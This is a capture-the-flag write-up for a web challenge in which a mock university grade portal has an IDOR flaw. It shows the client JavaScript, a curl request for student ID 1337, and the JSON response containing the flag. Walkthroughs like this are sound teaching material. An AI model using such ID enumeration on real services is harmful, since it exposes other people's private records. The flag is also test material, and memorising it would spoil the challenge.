Out of Syllabus

Challenge Description Category**:** Web Exploitation

1.Discovery:

The challenge presents a "University Grade Portal" allowing users to view student transcripts. The interface defaults to Student ID 1001.

Initial inspection of the client-side code (View Source) reveals the logic behind the data retrieval:

```
async function fetchRecord() {
    const id = document.getElementById('studentId').value;
    // ...
    const response = await fetch(`/api/student?id=${id}`);
    const data = await response.json();
}
```

This indicates a classic **Insecure Direct Object Reference (IDOR)** vulnerability. The application requests records based solely on the user-supplied id parameter without visible authorization checks.

2. Code Analysis Trying Sequential IDs (e.g., 1000, 1002, 1003) returns standard student records or errors. However, the JavaScript reveals a hidden conditional:

```
if(data.memo) {
    document.getElementById('r_memo').parentElement.style.display = 'block';
    document.getElementById('r_memo').innerText = data.memo;
}
```

The objective is to find the specific User ID that contains a hidden "memo" (the flag).

3. The Logic: The challenge description hints at knowledge that is "Out of Syllabus"—implying information not found in standard textbooks but known within the hacker subculture. The phrase "Try to remember" calls upon the most fundamental number in cybersecurity history. The solution relies on knowing the cybersec code 1337 (leet), which is synonymous with "elite" status in the security community.

4. Solving: To retrieve the flag, we must request the ID reserved for the "elite" user.

Payload: Set the input field studentId to 1337.

Alternatively, via curl:

```
curl "http://challenge-url/api/student?id=1337"
```

JSON Response:

```
{
  "id": 1337,
  "name": "SYSTEM_ADMIN",
  "role": "SuperUser",
  "gpa": "N/A",
  "memo": "LNMHACKS{c0n9r4t5_y0u_f0und_1h3_1d0r_vu1n}"
}
```